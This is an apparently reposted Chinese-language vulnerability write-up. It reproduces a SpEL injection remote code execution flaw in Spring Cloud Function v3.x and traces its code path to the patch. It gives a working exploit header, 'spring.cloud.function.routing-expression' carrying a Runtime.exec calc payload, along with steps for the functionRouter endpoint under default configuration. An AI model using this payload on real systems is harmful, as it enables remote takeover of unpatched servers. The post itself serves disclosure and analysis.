Spring Cloud Function v3.x SpEL RCE

admin 2022年3月27日13:40:47评论201 views字数 6721阅读22分24秒阅读模式

0x01 应用简介

Spring Cloud Function是SpringBoot开发的一个Servless中间件(FAAS),支持基于SpEL的函数式动态路由。


Spring Cloud Function v3.x SpEL RCE


0x02 漏洞复现

测试版本:

# v3.2.0https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0

测试环境:

spring-cloud-function-samples/function-sample-pojo

第1种利用:需要修改配置+任意路由

这种利用方式来自 逐日实验室@默安

1)修改配置文件,添加 "spring.cloud.function.definition:functionRouter"

application.properties

Spring Cloud Function v3.x SpEL RCE

2) 任意路由

/aaaa

3) 构造SpEL 注入 payload

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

4) 测试效果

Spring Cloud Function v3.x SpEL RCE


但是

为了尽可能扩大漏洞的利用价值,能在默认配置下进行利用无疑是我们的首选,于是去啃了会儿官方文档和相关社区,然后发现一种可在默认配置下进行RCE的姿势(暂不确定影响范围)。

已测试版本

v3.2.0v3.1.6v3.0.9

第2种利用:默认配置+特定路由

1) 保持默认配置

application.properties

Spring Cloud Function v3.x SpEL RCE

2) 特定路由

/functionRouter

Spring Cloud Function v3.x SpEL RCE

3) 构造SpEL 注入 payload

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

4) 测试效果

Spring Cloud Function v3.x SpEL RCE


ps: 为了确保准确性,在该环境测试任意路径

Spring Cloud Function v3.x SpEL RCE


0x03 漏洞分析

由于第1种已经有人分析了这里只分析第2种场景:默认配置+特定路由

补丁分析

https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52
  • org.springframework.cloud.function.context.config.RoutingFunction

Spring Cloud Function v3.x SpEL RCE

在此处下断点后获取到调用栈

org.springframework.cloud.function.context.config.RoutingFunction#route

然后往下跟踪&向上回溯

route:125, RoutingFunction (org.springframework.cloud.function.context.config)apply:85, RoutingFunction (org.springframework.cloud.function.context.config)doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)processRequest:100, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)post:74, FunctionController (org.springframework.cloud.function.web.flux)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 1875846925 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$714)onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)signal:251, MonoZip$ZipCoordinator (reactor.core.publisher)onNext:336, MonoZip$ZipInner (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber (reactor.core.publisher)onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher)onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber (reactor.core.publisher)onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onInboundComplete:400, FluxReceive (reactor.netty.channel)onInboundComplete:419, ChannelOperations (reactor.netty.channel)onInboundNext:590, HttpServerOperations (reactor.netty.http.server)channelRead:93, ChannelOperationsHandler (reactor.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:264, HttpTrafficHandler (reactor.netty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec)callDecode:432, ByteToMessageDecoder (io.netty.handler.codec)channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)processSelectedKey:719, NioEventLoop (io.netty.channel.nio)processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio)processSelectedKeys:581, NioEventLoop (io.netty.channel.nio)run:493, NioEventLoop (io.netty.channel.nio)run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)run:74, ThreadExecutorMap$2 (io.netty.util.internal)run:30, FastThreadLocalRunnable (io.netty.util.concurrent)run:745, Thread (java.lang)

往下跟踪

org.springframework.cloud.function.context.config.RoutingFunction#route

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression

Spring Cloud Function v3.x SpEL RCE

发现熟悉的身影 expression.getValue()

Spring Cloud Function v3.x SpEL RCE


向上回溯

org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NAME

Spring Cloud Function v3.x SpEL RCE

发现关键字 "functionRouter", 不管是第1种还是第2种利用姿势,都与functionRouter有着莫名的联系。

...(省略部分调用栈分析)

继续看源码看文档得知,可以通过目录获取对应功能接口的实例

Spring Cloud Function v3.x SpEL RCE

/functionRouter

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#doFindFunction

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.String, java.lang.String...)org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRegistry#lookuporg.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doLookup

Spring Cloud Function v3.x SpEL RCE

至此已经获取到对应实例,经过一些处理后,执行到

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest

Spring Cloud Function v3.x SpEL RCE

是不是些许熟悉?

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.context.config.RoutingFunction#apply

Spring Cloud Function v3.x SpEL RCE

跟进

org.springframework.cloud.function.context.config.RoutingFunction#route

经过以下判断后

falseif (this.routingCallback != null) {...} # falseif (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {...}trueelse if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {...}

Spring Cloud Function v3.x SpEL RCE

触发断点,整个漏洞利用的链路被成功串连。

Spring Cloud Function v3.x SpEL RCE


具体影响范围不详,已测试版本如下

v3.0.9

Spring Cloud Function v3.x SpEL RCE


v3.1.6

Spring Cloud Function v3.x SpEL RCE


v3.2.0

Spring Cloud Function v3.x SpEL RCE


参考资料:

https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg

原文始发于微信公众号(pen4uin):Spring Cloud Function v3.x SpEL RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月27日13:40:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function v3.x SpEL RCEhttps://cn-sec.com/archives/843523.html

发表评论

匿名网友 填写信息